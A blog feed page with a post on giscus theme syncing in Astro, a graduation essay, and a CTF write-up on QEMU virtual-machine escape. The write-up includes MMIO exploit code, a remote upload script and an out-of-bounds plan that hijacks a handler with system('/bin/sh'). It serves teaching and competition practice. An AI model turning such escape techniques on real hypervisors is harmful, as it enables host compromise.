普通视图

发现新文章,点击刷新页面。
昨天以前ネコのメモ帳

我是如何在 astro 里让 giscus 匹配主题样式的?

2026年3月2日 08:00

在去年年底的时候,我看着 2025 年整年都没有写几篇有价值的博客,于是痛定思痛将博客引擎换成了 Astro 以希望激励自己写作欲望(似乎失败了),主题也基本上从头 AI Vibe coding 了,这次博客的主题是一种 “不确定性”,为此我设计了大量色板切换的核心外观。

对于评论插件,我仍然选择了 giscus —— 这是我从之前 Docusaurus 就一直在使用的,接入较为方便,使用起来也比较轻松,有一个 GitHub 账号就可以了。然而,如果你仅停留在 giscus 官方文档的话,你会发现 giscus 几乎只能从它的几个 preset 中进行主题的选择 —— 尽管它拥有自定义 css 的功能,但仍然只能设置一个 URL,修改整个 iframe 所引用的 css 文件,无法实现动态的修改。

之前的方案

我在之前的 blog(Docusaurus) 里,其实做过一版够用的实现。但是当时我似乎并没有关注过这一点,因为当时主要是利用的 @giscus/react 这个 component 直接做的,完全没有额外的实现:

giscus.theme =
  useColorMode().colorMode === 'dark'
    ? giscus.darkCss || 'transparent_dark'
    : giscus.lightCss || 'light';

然而在新的博客框架下,单纯的设置 data-theme 并不会导致 giscus 重新渲染。

根据源码溯源,在 Docusaurus 里,当 useColorMode() 变化时,React 组件会重渲染,theme 这个 prop 也会变化;而 @giscus/react 底层的 giscus-component 会在属性变化时把配置变更通过 postMessage 发给 iframe,所以主题能跟着变。

但在现在这套 Astro 实现里,我是直接注入 https://giscus.app/client.js,这就导致 data-theme 只在脚本初始化时读取一次,而后续改变页面外层状态(html[data-theme] / localStorage)并不会修改 giscus iframe 内部配置,也不会因为外层 DOM 属性变化自动重渲染。

现在的方案

简而言之,在 Docusaurus 的那套实现里,主题动态更新的能力直接由 react@giscus/react 封装好的。但在现在的 astro 实现里,主题同步逻辑需要我自己显式写出来。

为什么不直接用 giscus component

好问题,问倒我了其实主要的想法还是为了实现 “多主题 id -> 对应 CSS URL” 的映射的一个 demo 测试,就算换成 giscus component,我依然要维护主题监听与状态桥接,并且更加不利于调试,当时主要是做的可行性测试,所以就没有上 component~~(其实是 AI 没用 component)~~

实现思路

理清了之前的实现思路,目标就比较简单了。

主要实现可以拆成三层:

  • src/pages/giscus/[theme].css.ts:为每个主题生成一份可访问的 giscus CSS;
  • src/components/Giscus.astro:首次加载 giscus 时,给 data-theme 传当前主题对应的 URL;
  • 同一个组件里监听主题变化,用 postMessage 调用 giscus 的 setConfig 实时切换主题。

为主题生成 css 其实是比较复杂的,因为我这边站点主题实现的就很复杂,它本身就是直接在编译期提取生成的。但好在当时写的时候专门写了一个 src/config/themes.ts 统一管理,所以可以直接新增一个动态路由:/giscus/[theme].css

const createGiscusCSS = (colors: ThemeColors) => {
  const { background, foreground, primary, primaryLight, primaryLightest, accent, link } = colors;

  return `
main {
  --color-fg-default: ${foreground};
  --color-canvas-default: ${background};
  --color-btn-primary-bg: ${primary};
  --color-accent-fg: ${link};
  // ...
}
`;
};

getStaticPaths() 里把所有主题都枚举一遍,构建时就能直接出所有主题的 css 了,也是非常 legacy 的方案了。

export async function getStaticPaths() {
  const themeIds = await getThemeIds();
  return Promise.all(
    themeIds.map(async (themeId) => ({
      params: { theme: themeId },
      props: { theme: await getTheme(themeId) },
    }))
  );
}

这里还加了一个关键响应头:

'Access-Control-Allow-Origin': 'https://giscus.app'

因为 CSS 是被 giscus.app 域下的 iframe 请求的,必须解决跨域问题。

src/components/Giscus.astro 里,主要就靠下面几行代码读取当前主题,其实也是比较 legacy 的方案,比较不鲁棒吧!

const currentTheme = localStorage.getItem('theme')
  || document.documentElement.getAttribute('data-theme')
  || 'spectre';

const themeUrl = `${origin}/giscus/${currentTheme}.css`;
script.setAttribute('data-theme', themeUrl);

但是因为我有一个随机主题的能力,所以其实 theme 就是这样存进去 localStorage 的,所以也不是不能用。

其实一开始我是想直接改全局的 css 变量的,但是在测试之后发现并不可行。因为 giscus 渲染后是个 iframe,你外面的 CSS 变量根本打不进去。所以切换主题只能走 giscus 提供的消息机制,也是通过前面的 @giscus/react 看到的。

我在组件里做了两种监听:

  • storage 事件:覆盖多标签页同步;
  • MutationObserver:监听 <html data-theme="..."> 的变化。

拿到新主题后,发送:

giscusFrame.contentWindow?.postMessage(
  { giscus: { setConfig: { theme: `${origin}/giscus/${themeId}.css` } } },
  'https://giscus.app'
);

后续的优化

其实写之前觉得还是有说法的,感觉之前为了这个事情搞了很多。但是现在写下来感觉特别的 legacy,哈哈。

后续的话估计会把主题这个搞成一个接口 + 更新总线,然后让 Giscus 直接订阅事件更新,而不是自己监听,这样可能会更加好一点。

我本科毕业了。

2025年6月21日 08:00

一转眼,我就熬到了本科毕业,细细数来,这个博客也有 4 年历史了。

在 21 年的时候,我接触了 CTF,在 tsctf-j 2021 后,我也有样学样地搭建了自己的博客,经过 4 年的演变,博客也变成了今天这副模样。写了又删删了又写,技术类博客没写几篇,文字叙述类的倒是不少。4 年来,通过对博客引擎挑挑拣拣,缝缝补补,博客也是从 wordpress 换到了 hugo,再换到了其他的,最终用到了今天这个乱七八糟改过的 docusaurus。

博客的域名也是换了又换,从一开始的 novanoir.dev / novanoir.moe,换到了后来的 ova.moe,再到现在的 nova.gal,或许也终于要定格在这个域名了(抹泪)


或许只有在拿到毕业证的那一刻,我的内心才会真正意识到:我毕业了。哪怕先前早已经过了答辩、租房、搬家、拍毕业照、参加毕业歌会、参加学位授予仪式等准备,却也还是只有在回到宿舍,发现已经不再有任何理由可以让我再多做逗留的时候,我才真正认清这个事实:我毕业了。

我打量审视了宿舍良久,喃喃自语 “想想还有没有东西没拿走,忘了我不想再跑回来拿一次了”。我的眼睛定格在那些被我断舍离的物品上,却发现每个都能回荡起和它有关的记忆片段。

转了一圈又一圈,意识到实在是没有理由再待在宿舍了,我背上背包,走出宿舍的同时带上了门。宿舍显然是我在北邮最有归属感的地方,我对北邮的其他地方倒是没有太大感情 —— 仔细一想,倒也有些凄惨,四年时间基本都在宿舍度过了,实在是少了些和同学一起运动、又或是两人一起在湖边漫步的回忆。哪怕是学习的回忆,那左岸咖啡也比什么图书馆、教室给我留下的印象更深刻,但它早在前年就倒闭了。

背上的包确实有些重了,它拖得我的脚步慢慢的。宿舍到西门的路对于我这个常点外卖的人实在是熟的不能再熟了,一个来回十四分钟,骑车只要五分钟,不过短短 500m 的距离,却走尽了我 1/5 的青春。四年前的一个下午,我一个人拖着行李箱从西门出发,望着东边高挂的太阳,一边吐槽北京的天气,一边向图书馆前的新生报到处走去。四年后的一个晚上,我一个人背着登山包向西门出发,望着西边最后一点太阳的余韵消失不见,一边感慨天气不错,一边向日暮追去。

这个时间很少再有人往校外走了,“居然就毕业了”,看着熙熙攘攘往宿舍走去的人群,我怔怔地意识到这个事实。我努努嘴,大学确实和高中初中不同,当初的我面对毕业可太兴奋了 —— 这意味着我马上就 “自由” 了 —— 我可以自由支配自己的时间,自由地学习我想学的知识、自由地支配我的生活费、自由地选择交友关系、自由地决定我的生活习惯(事实证明我十分缺乏自制力)。这种兴奋显然抑制了一些 “令人失落的部分”,例如,离开一个你熟悉的地方,离开一些你熟悉的人。

大学毕业可就不一样啦,从大学毕业往往也只会更加不 “自由”,没有额外的兴奋感来冲刷那些失落的部分,更何况这种 “自由” 会为那些 “令人失落的部分” 附加上更加立体、更加深刻的意义让人更难舍离。也或许是人真的变了吧,变得害怕改变了,这种失去再重建的成本实在是太高了,机会也越来越少,实在是令人提不起兴趣。我长叹一声,不知道是因为觉得失落,还是因为发现自己居然会觉得失落。但无论原因为何,都只在叹息之后发现,我已经走到校门口了。

校门口的人脸识别识别出我的人脸,一如既往地告诉我:“辛苦了”。我想回头再看看来时没注意的那条路,但是我没有。包的重量压住了我的动作,外卖柜里也不再会有我的外卖了。


我大概在某篇或者某几篇博文里提到过,我讨厌拍照,我尤其讨厌自己出现在照片里。

大学之后,这个习惯倒是有些改变。我的相册里慢慢多了一些空镜 —— 傍晚的食堂、雪后的树枝、早晨的操场。但我还是一如既往的不喜欢拍人,镜头是一种入侵领地的工具,人不过是一些多余的噪点。

嗯… 虽然我是这样想的,但是集体活动什么的总不能不拍照,这实在是太扫兴了 —— 于是慢慢的,我的相册里有了一些集体合照,我的脸也第一次出现在朋友圈里。

我姐:你终于露脸了,项链不错,很有品味

我爸:感觉想装古惑仔,可惜不到位 [龇牙]

仔细想想倒也没有什么特别的契机,硬要说的话就是进入了一段关系所以稍微对穿着打扮这种事情上心了一点(上心 != 有效),又或者因为那段时间第一次去了香港和新加坡,所以不拍感觉亏爆了。总而言之,我罕见地出现在了我的相册里,甚至出现在了我的朋友圈里。

其实能理解为什么不喜欢拍到自己,因为对自己的外貌不自信,或者叫有自知之明。但是可能是合照拍多了脸皮厚了,“哈哈,我就烂!” ,抱着这种心态去拍照,拍起照来确实没有什么心理负担了。但不得不承认的是,有人的照片往往具有更深刻的锚点效应,而风景照往往只能充当情绪的背景板。或许就是这个原因,我的相册里出现了越来越多的 “多余的噪点”,它们慢慢成为了我相册的主角。

四年前的我去了一次漫展,回来之后我发了一条说说:“下次漫展目标:和 coser 拍照”,不知不觉,我现在已经能随手找同学,然后合照留念了(虽然因为没回家所以蓬头垢面胡子拉碴的像个流浪汉,对不起)。总觉得四年很快,但望向那些照片却又能把每一个瞬间甚至一整段记忆描绘得那么鲜活,拍照真是一个神奇的东西。

但是我还是难以理解,三年前连一张照片都不拍的人,为什么现在会随手拍一张照片然后去用 ai 生成攀墙高手然后发给别人?

[VMPwn] 老头初探 QEMU 逃逸

2025年5月6日 08:00

“我为什么不会虚拟机逃逸?” 走在路上突然想起这个事情,突然想起前人曾经说过的一句话:“不会虚拟机逃逸的人是失败的”。

但是虚拟机逃逸分为很多种,我们先来个最 pwn 的,qemu escape。

Pre-requirement

抛开现实不谈,我们先来看看一般比赛里的题型是什么样子的。

正如(绝大多数)用户态 PWN 是提供一个有漏洞的用户态程序一样,内核 PWN 会提供一个有漏洞的内核态程序(通常是驱动),虚拟机 PWN 自然也需要有这么一个目标。

用户态 PWN,一般情况下是通过这个漏洞程序实现 RCE 或是任意文件读,内核 PWN 则是在提供普通用户权限的情况下实现 LPE 或是越权读写。

那么对于 QEMU PWN 来说,一般情况下我们会被提供一个有漏洞的 PCI 设备(它们会和 qemu 本体一起被编译到 qemu-system-x86_64 二进制文件里),最终实现从虚拟机访问宿主机的内存 / 执行命令。

什么是 PCI 设备

问得好,简单来说符合 PCI 的设备就是 PCI 设备 PCI 设备就是符合 Peripheral Component Interconnect (外围设备互联)接口标准的,接在计算机硬件层面的 PCI 总线上的设备,常见的就是那些网卡、声卡、显卡之类的。

那么知道这个有什么用呢?没啥用,因为我们都是模拟的 PCI 设备。

不过 PCI 设备它连上系统, 就会有对应的配置空间。它记录关于此设备的详细信息,例如头部的类型,设备的总类,制造商之类的。但是对于我们最关键的,还是用于表明它的信息。

> lspci
2f79:00:00.0 3D controller: Microsoft Corporation Basic Render Driver
50eb:00:00.0 System peripheral: Red Hat, Inc. Virtio file system (rev 01)
5582:00:00.0 SCSI storage controller: Red Hat, Inc. Virtio 1.0 console (rev 01)
75ce:00:00.0 3D controller: Microsoft Corporation Basic Render Driver
8ffe:00:00.0 3D controller: Microsoft Corporation Device 008a

xx:yy:z的格式为总线:设备:功能的格式。

❯ sudo lspci -v -x
2f79:00:00.0 3D controller: Microsoft Corporation Basic Render Driver
        Physical Slot: 3443338332
        Flags: bus master, fast devsel, latency 0
        Capabilities: [40] Null
        Kernel driver in use: dxgkrnl
00: 14 14 8e 00 07 00 10 00 00 00 02 03 00 00 00 00
10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
30: 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00

50eb:00:00.0 System peripheral: Red Hat, Inc. Virtio file system (rev 01)
        Subsystem: Red Hat, Inc. Device 0040
        Physical Slot: 3388996451
        Flags: bus master, fast devsel, latency 64
        Memory at e00000000 (64-bit, non-prefetchable) [size=4K]
        Memory at e00001000 (64-bit, non-prefetchable) [size=4K]
        Memory at c00000000 (64-bit, non-prefetchable) [size=8G]
        Capabilities: [40] MSI-X: Enable+ Count=64 Masked-
        Capabilities: [4c] Vendor Specific Information: VirtIO: CommonCfg
        Capabilities: [5c] Vendor Specific Information: VirtIO: Notify
        Capabilities: [70] Vendor Specific Information: VirtIO: ISR
        Capabilities: [80] Vendor Specific Information: VirtIO: DeviceCfg
        Capabilities: [90] Vendor Specific Information: VirtIO: <unknown>
        Kernel driver in use: virtio-pci
00: f4 1a 5a 10 06 04 10 00 01 00 80 08 00 40 00 00
10: 04 00 00 00 0e 00 00 00 04 10 00 00 0e 00 00 00
20: 04 00 00 00 0c 00 00 00 00 00 00 00 f4 1a 40 00
30: 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00

5582:00:00.0 SCSI storage controller: Red Hat, Inc. Virtio 1.0 console (rev 01)
        Subsystem: Red Hat, Inc. Device 0040
        Physical Slot: 3300344309
        Flags: bus master, fast devsel, latency 64
        Memory at 9ffe00000 (64-bit, non-prefetchable) [size=4K]
        Memory at 9ffe01000 (64-bit, non-prefetchable) [size=4K]
        Memory at 9ffe02000 (64-bit, non-prefetchable) [size=4K]
        Capabilities: [40] MSI-X: Enable+ Count=65 Masked-
        Capabilities: [4c] Vendor Specific Information: VirtIO: CommonCfg
        Capabilities: [5c] Vendor Specific Information: VirtIO: Notify
        Capabilities: [70] Vendor Specific Information: VirtIO: ISR
        Capabilities: [80] Vendor Specific Information: VirtIO: <unknown>
        Capabilities: [94] Vendor Specific Information: VirtIO: DeviceCfg
        Kernel driver in use: virtio-pci
00: f4 1a 43 10 06 04 10 00 01 00 00 01 00 40 00 00
10: 04 00 e0 ff 09 00 00 00 04 10 e0 ff 09 00 00 00
20: 04 20 e0 ff 09 00 00 00 00 00 00 00 f4 1a 40 00
30: 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00

75ce:00:00.0 3D controller: Microsoft Corporation Basic Render Driver
        Physical Slot: 1749427721
        Flags: bus master, fast devsel, latency 0
        Capabilities: [40] Null
        Kernel driver in use: dxgkrnl
00: 14 14 8e 00 07 00 10 00 00 00 02 03 00 00 00 00
10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
30: 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00

8ffe:00:00.0 3D controller: Microsoft Corporation Device 008a
        Physical Slot: 1406519205
        Flags: bus master, fast devsel, latency 0
        Capabilities: [40] Null
        Kernel driver in use: dxgkrnl
00: 14 14 8a 00 07 00 10 00 00 00 02 03 00 00 00 00
10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
30: 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:1337
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111

00:05.0 Class 00ff: 1234:dead为例,来介绍每个部分含义,从左向右具体内容指代如下:

  • 00代表总线标号
  • 05.0,其中05代表设备号,.0用来表示功能号
  • 00ff,class_id
  • 1234,vendor_id
  • dead,device_id

其中在 0x10 字节之后,保存了一个 Base Address Registers,BAR 记录了设备所需要的地址空间的类型,基址以及其他属性。值得注意的是,当它最后一位是 0 的时候,表示它是映射的 I/O 内存(MMIO);当它最后一位是 1 的时候,表示它是端口映射的 I/O 内存(PMIO)。

MMIO

当它是 MMIO 类型的时候,由第二位决定地址的类型(32 位 / 64 位)。第三位则代表是不是大区间(> 1M)。第四位则表示是不是可预取(Prefetchable)。

在 MMIO 的情况下,我们可以直接用普通的访存指令去访问设备 I/O。

在 MMIO 中,内存和 I/O 设备共享同一个地址空间。

我们可以用看看它的内存空间。它位于 sys/devices/pci~/~ 下面,其中,resource0 对应 MMIO 空间,resource1 对应 PMIO 空间

start-address / end-address / flags

/sys/devices/pci0000:00/0000:00:03.0 # cat resource
0x00000000febc0000 0x00000000febdffff 0x0000000000040200
0x000000000000c000 0x000000000000c03f 0x0000000000040101
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x00000000feb80000 0x00000000febbffff 0x0000000000046200
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000

image-20250501230916132

#include <linux/io.h>
#include <linux/ioport.h>

void __iomem *addr;
unsigned int val;

// 1. 申请资源
if (!request_mem_region(ioaddr, iomemsize, "my_device")) {
    return -EBUSY;  // 资源已被占用
}

// 2. 映射物理地址
addr = ioremap(ioaddr, iomemsize);
if (!addr) {
    release_mem_region(ioaddr, iomemsize);
    return -ENOMEM;
}

// 3. 读写操作
val = readl(addr);          // 读取 32 位
writel(val + 1, addr);      // 写入 32 位

// 4. 清理
iounmap(addr);
release_mem_region(ioaddr, iomemsize);

在 kernel 下面,我们可以直接写。在用户态里,就要通过 resource0 来访问 MMIO

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>
unsigned char* mmio_mem;

void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

void mmio_write(uint32_t addr, uint32_t value)
{
    *((uint32_t*)(mmio_mem + addr)) = value;
}

uint32_t mmio_read(uint32_t addr)
{
    return *((uint32_t*)(mmio_mem + addr));
}

int main(int argc, char *argv[])
{

    // Open and map I/O memory for the strng device
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");

    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");

    printf("mmio_mem @ %p\n", mmio_mem);

    mmio_read(0x1f0000);
    mmio_write(0x128, 1337);

}

PMIO

如果是 PMIO 的话,就需要用 IN/OUT 之类的指令来访问 I/O 端口。

I/O 设备有一个与内存不同的地址空间,为了实现地址空间的隔离,要么在CPU物理接口上增加一个I/O引脚,要么增加一条专用的I/O总线。

#include <sys/io.h>
uint32_t pmio_base = 0xc050;

uint32_t pmio_write(uint32_t addr, uint32_t value)
{
    outl(value,addr);
}

uint32_t pmio_read(uint32_t addr)
{
    return (uint32_t)inl(addr);
}

int main(int argc, char *argv[])
{

    // Open and map I/O memory for the strng device
    if (iopl(3) !=0 )
        die("I/O permission is not enough");
        pmio_write(pmio_base+0,0);
    pmio_write(pmio_base+4,1);

}

Stage0: Rev & EXP - VNCTF2023 / escape_langlang_mountain

附件地址:https://pan.baidu.com/s/1uzVQqcwx3Qp0hb2_JL-_Eg 提取码:muco

https://buuoj.cn/match/matches/179/challenges#escape_langlang_mountain

这个基本上就看你会不会 mmio 交互,我们先来看看这种。

这种题基本上都会起一个 docker,还是比较复杂,不过我们就按照 README 里搭一个,具体就不说了。

我们首先观察它的 qemu 命令,可以发现它起了一个 device vn,id=vda

那么 vn 自然就是我们的漏洞 pci 设备。

❯ cat bin/launch.sh
#!/bin/sh
./qemu-system-x86_64 \
    -m 64M --nographic \
    -initrd ./rootfs.cpio \
    -nographic \
    -kernel ./vmlinuz-5.0.5-generic \
    -L pc-bios/ \
    -append "console=ttyS0 root=/dev/ram oops=panic panic=1" \
    -monitor /dev/null \
    -device vn,id=vda

所以我们把 qemu 拖进去看看。这题恶心的地方在于它删了符号表,我们从 strings 入手来看,通过搜索 vn_ 找到起始位置。

image-20250507023938705

image-20250507024051221

可以想到这就是一个注册函数,但是具体这些是啥呢?我们可以找一个没被干掉符号表的来看看。

void __fastcall hitb_class_init(ObjectClass_0 *a1, void *data)
{
  PCIDeviceClass *v2; // rax

  v2 = (PCIDeviceClass *)object_class_dynamic_cast_assert(
                           a1,
                           (const char *)&stru_64A230.bulk_in_pending[2].data[72],
                           (const char *)&stru_5AB2C8.msi_vectors,
                           469,
                           "hitb_class_init");
  v2->revision = 16;
  v2->class_id = 255;
  v2->realize = pci_hitb_realize;
  v2->exit = pci_hitb_uninit;
  v2->vendor_id = 4660;
  v2->device_id = 0x2333;
}

我们很容易猜到这个 sub_6D9166 就是一个 realize 函数指针(或者可以恢复一下 qemu 的符号表,然后把它丢个结构体 PCIDeviceClass 来看)

image-20250507024657578

进入到 realize,我们继续对比。

void __fastcall pci_hitb_realize(HitbState *pdev, Error_0 **errp)
{
  pdev->pdev.config[61] = 1;
  if ( !msi_init(&pdev->pdev, 0, 1u, 1, 0, errp) )
  {
    timer_init_tl(&pdev->dma_timer, main_loop_tlg.tl[1], 1000000, (QEMUTimerCB *)hitb_dma_timer, pdev);
    qemu_mutex_init(&pdev->thr_mutex);
    qemu_cond_init(&pdev->thr_cond);
    qemu_thread_create(&pdev->thread, (const char *)&stru_5AB2C8.not_legacy_32bit + 12, hitb_fact_thread, pdev, 0);
    memory_region_init_io(&pdev->mmio, &pdev->pdev.qdev.parent_obj, &hitb_mmio_ops, pdev, "hitb-mmio", 0x100000uLL);
    pci_register_bar(&pdev->pdev, 0, 0, &pdev->mmio);
  }
}

经验之谈。我们看到这个参数个数和字符串,可以猜测 sub_54abb5 就是 memory_region_init_io 函数。那么对应的,off_b83e00 就是它的 ops,我们显然可以点进去看看它的函数指针在哪,从而找到对应的 read 和 write 函数。

对于 read 函数,我们很容易解析。首先 a1 肯定是结构体的指针我们不管,a2 则是我们读的地址(通过观察其他的 qemu pci 设备,或者对 read 的经验来说),其实还有应该一个 a3 用于表示大小,但是他没写,可能不需要吧)

image-20250507025258616

很简单,让我们读的地址的 >> 20 & 0xf = 1>> 16 & 0xf = 0xf 即可把 vnctf 拷贝到一个地址上

对于 write 函数,这个也是很简单了。我们显然要在 read 操作完之后 write 两次,第一次让 a2 >> 20 & 0xf = 1,第二次再让 a2 >> 20 & 0xf = 2,a2 >> 16 & 0xf == 0xf,就能执行 system("cat flag")

image-20250507025803578

对于 exp,我们先把模板搬过来,然后看看它的写法。

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>
unsigned char* mmio_mem;

void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

void mmio_write(uint32_t addr, uint32_t value)
{
    *((uint32_t*)(mmio_mem + addr)) = value;
}

uint32_t mmio_read(uint32_t addr)
{
    return *((uint32_t*)(mmio_mem + addr));
}

int main(int argc, char *argv[])
{

    // Open and map I/O memory for the strng device
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");

    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");

    printf("mmio_mem @ %p\n", mmio_mem);

    mmio_read(0x100);
    mmio_write(0x100, 1337);
}

首先既然是 MMIO,都叫内存映射了,自然就是要把它打开然后 mmap 过来。

我们读取它的 resource0 文件,因为刚才提到这是它的 MMIO 内存。之后,把它通过 mmap 映射到我们的虚拟地址 mmio_mem 上,之后我们对这个 mmio_mem + offset 的操作,自然也就会触发刚才的两个 ops 回调,并且地址就是我们的 offset

好的,那么这个 open 的地址怎么找呢?

/ # lspci
lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 0420:1337
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111

然后和一开始的 init 函数对比,可以发现是 00:04.0 这个。

那我们就对着改就完事了。

之后我们编译然后上传。

exp

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
unsigned char* mmio_mem;
void die(const char* msg)
{
  perror(msg);
  exit(-1);
}
uint64_t mmio_read(uint64_t addr)
{
  return *((uint64_t *)(mmio_mem + addr));
}
void mmio_write(uint64_t addr, uint64_t value)
{
  *((uint64_t *)(mmio_mem + addr)) = value;
}
int main()
{
  int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR
| O_SYNC);
  if (mmio_fd == -1)
    die("mmio_fd open failed");
  mmio_mem = mmap(0, 0x1000000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd,
0);
  if (mmio_mem == MAP_FAILED)
    die("mmap mmio_mem failed");
  mmio_read(0x1f0000);
  mmio_write(0x100000, 1);
  mmio_write(0x2f0000, 1);

  return 0;
}

记得这里 mmap 要开大一点

我们上传脚本这么写

from pwn import *
import time, os

# p = process('./run.sh')
r = remote("localhost", 9999)
output_name = './exp'

# musl-gcc -w -s -static -o3 exp.c -o exp


# p = process(['./qemu-system-x86_64', '-m', '512M', '-kernel', './vmlinuz', '-initrd', './core.cpio', '-L', 'pc-bios', '-monitor', '/dev/null', '-append', "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet kaslr", '-cpu', 'kvm64,+smep', '-smp', 'cores=2,threads=1', '-device', 'ccb-dev-pci', '-nographic'])
os.system("tar -czvf exp.tar.gz ./exp")
os.system("base64 exp.tar.gz > b64_exp")

def exec_cmd(cmd: bytes):
    r.sendline(cmd)
    r.recvuntil(b"/ # ")

def upload():
    p = log.progress("Uploading...")

    with open(output_name, "rb") as f:
        data = f.read()

    encoded = base64.b64encode(data)

    r.recvuntil(b"/ # ")

    for i in range(0, len(encoded), 500):
        p.status("%d / %d" % (i, len(encoded)))
        exec_cmd(b"echo \"%s\" >> benc" % (encoded[i:i+500]))

    exec_cmd(b"cat benc | base64 -d > bout")
    exec_cmd(b"chmod +x bout")

    p.success()
upload()
context.log_level='debug'
# r.sendlineafter("/ #", "./bout")
r.interactive()

Stage1: Simple OOB - CCB2025 / ccb-dev

〉 附件地址:队内网盘,估计不会公开,找不到可以找我要)

接下来,我们正式来打一题。

因为是线下断网环境,这次给的是一个 tar,我们也是正常 load 进去,然后用 docker cp 把 qemu-system_x86-64 给它弄出来

我们看一下 start.sh

root@98f8c96b09be:/home/ctf# cat run.sh
#!/bin/sh
./qemu-system-x86_64 \
    -m 512M \
    -kernel ./vmlinuz \
    -initrd  ./core.cpio \
    -L pc-bios \
    -monitor /dev/null \
    -append "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet kaslr" \
    -cpu kvm64,+smep \
    -smp cores=2,threads=1 \
    -device ccb-dev-pci \
    -nographic

那自然就是找这个 ccb-dev-pci 了。我们 ida 看一眼。

image-20250509232134631

可以看出和刚才那个结构差不多,那么我们就看看它的 mmio_read 和 mmio_write

感觉这个 mmio_read 一眼越界读,不确定,再看看

image-20250509232646863

image-20250509232746265

显然有,然后我们也能改 dev->log_handler,然后任意地址读写。

把 log_handler 改成 system,log_fd 改成 "/bin/sh",感觉就结束了。

接下来感觉就是一些用户态 libc 的东西。我们先进它的 docker 把 libc 搞出来方便本地打。~~~~看了一眼发现依赖好像有点多,又要把 cpio 之类的东西拿出来。

我们利用 cat /etc/os-release 看到 docker 是 18.04 的版本,因为没有静态编译的版本,我们把 nopwndocker 里的 18.04 的 gdbserver 和依赖拷进去开一个,这里我重新创了个 docker,把 12314 端口开了,其实也很麻烦(不如直接把它依赖拷出来了说是)

root@ed7131800cc4 /# ldd $(which gdbserver)
        linux-vdso.so.1 (0x00007ffc54da3000)
        libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f7dc9d9d000)
        libstdc++.so.6 => /usr/lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007f7dc9a14000)
        libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007f7dc97fc000)
        libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f7dc95dd000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7dc91ec000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f7dca238000)
        libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007f7dc8e4e000)
 $ LD_LIB_LIBRARY=./libs ./gdbserver host:12314 run.sh
 gdb-gef --ex "target remote :12314"

发现这种方法符号加载有问题,倒闭!

我们还是把它的依赖都拿出来吧 —— 顺手写了一个脚本

#!/bin/bash

if [ "$#" -ne 2 ]; then
    echo "Usage: $0 <source_file> <destination_directory>"
    exit 1
fi

SOURCE_FILE="$1"
DESTINATION_DIR="$2"

if [ ! -f "$SOURCE_FILE" ]; then
    echo "Error: Source file '$SOURCE_FILE' does not exist."
    exit 1
fi

if [ ! -d "$DESTINATION_DIR" ]; then
    mkdir -p "$DESTINATION_DIR"
fi

ldd "$SOURCE_FILE" 2>/dev/null | awk '
    /=> \// && !/linux-vdso/ { print $3 }
    /^\// && !/linux-vdso/ { print $1 }
' | while read -r DEPENDENCY; do
    if [ -f "$DEPENDENCY" ]; then
